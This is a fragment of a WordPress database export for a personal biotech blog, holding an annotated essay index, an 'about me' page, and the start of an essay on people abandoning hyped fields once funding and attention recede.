data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2023-01-18 17:22:32','2023-01-18 17:22:32','',22,'https://trevorklee.com/?p=345',0,'revision','',0),
(348,1,'2023-09-29 17:03:31','2023-09-29 17:03:31','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>. For the most up-to-date list of my essays, including my most recent ones, check out <a href=\"https://trevorklee.substack.com/\">my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" style=\"width:262px;height:660px\" width=\"262\" height=\"660\"/><figcaption class=\"wp-element-caption\">Wow, what a photo!</figcaption></figure>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2023-09-29 17:03:31','2023-09-29 17:03:31','',27,'https://trevorklee.com/?p=348',0,'revision','',0),
(350,1,'2023-11-13 15:52:33','2023-11-13 15:52:33','<!-- wp:paragraph -->\n<p>There’s a famous quote by Warren Buffett that’s something along the lines of, “It’s only when the tide goes out that you find out who’s been swimming naked.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been thinking about this quote recently. Now, when the Prophet of Omaha said this, he was referring to businesses whose bad financials are revealed once there’s an economic downturn, which, coincidentally, happens to actually be very relevant right now. But, that’s not the way I’ve been thinking about it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’s a real psychological truth embedded in this as well. Psychologically, when intellectual tides are raising all swimmers in a certain field, it’s easy to happily paddle away with no swimtrunks on. Raising money is easy. Getting interest and validation from your friends is easy. Every tweet about your progress gets 50 likes and 5 comments, easy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now maybe, despite all the validation, you still feel like you’re naked. You have a sense of imposter syndrome, or you have internal doubts about whether being able to paddle in a rising tide can eventually turn into you being a champion open-water swimmer, despite your tweets to the contrary. But everyone else is cheering you on, and you know of at least a couple people who are even more naked than you are, and so being naked seems like not such a big deal, at least not right now. You keep just paddling and waving, enjoying the rising tide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc1d335-890c-45e7-8a1c-e753aa1b3971_1920x1384.jpeg\" alt=\"Meet The Swimming Pigs of The Bahamas\" title=\"Meet The Swimming Pigs of The Bahamas\"/></a><figcaption class=\"wp-element-caption\">If you’re unlucky, tourists will come up to you and try to pet you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But then the tide goes out. There are fewer people cheering. Whatever limited boats were offering assistance to swimmers (possibly lending out swimsuits) seem much fewer and farther between. The water is getting colder, and cold water plus nakedness is a bad mix, especially if people can see you. Just paddling is harder, and you realize that if you actually try to become an open-water swimmer, there’s no way you can avoid showing your bare ass to the world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Ideally, when the tide was rising, you would have knit yourself a swimsuit, so it’d be a little less cold now. It also would have been smart to have already had a plan to go from a rising-tide paddler to an open-water swimmer while the tide was going up, instead of wasting your time doing underwater frontflips.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s too late for any of that now, though. Now the reality of the situation is that you are naked, the tide is going out, and you’re actually a little tired from your paddling and underwater front flips. Maybe you should grit your teeth and force yourself to swim regardless. That’s what someone who really believed in the importance of this pool would do. But, it’s probably pretty tempting to wait for a moment where you don’t think anyone is looking, scurry along the beach like a pale, flabby crab, and find another rising tide to paddle around in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One interesting thing about Twitter, now that I’ve started to use it more, is that I’ve been able to watch this happen in real time, more or less. I’ve noticed quite a few people who were happy paddlers when the tide was rising in one pool suddenly pop up in a different pool, their projects (some of which they received significant amounts of money for) suddenly languishing, their team’s LinkedIns quietly updated to a new job: “VP at NewCo: April 2022-July 2022”, “PM at Microsoft: August 2022 - Present”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I see people pop up in a different pool, I don’t think they never cared about the old pool. A lot of the people I’m describing seemed to genuinely care about the issues in the old pool. Their Twitter threads and long posts were thoughtful and interesting, chock full of interesting facts and statistics. They weren’t in the old pool because they wanted to make a quick buck; they were in the old pool because they cared about the old pool.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I also think it was fun to care a lot about the old pool when the tide was rising. I think for a certain variety of person, writing big posts on Substack about an issue and then making a Tweet thread about it that gets lots of likes is super fun. I mean, hell, that describes me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also really fun to raise a lot of money, and then find people who you like, and then give them money to work on the thing you care about. You get to have conversations with them about what they’re doing, and probably you both can complain about the problem together. You can all agree that the legacy approaches to these issues suffer from some serious problems, and that it’s really a shame that the pool has been taken over by bureaucrats. As the new paddlers, you will make sure that there’s a new backstroke in town.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what I know isn’t fun is the hard, grinding work of actually putting together an organization. This is especially true if 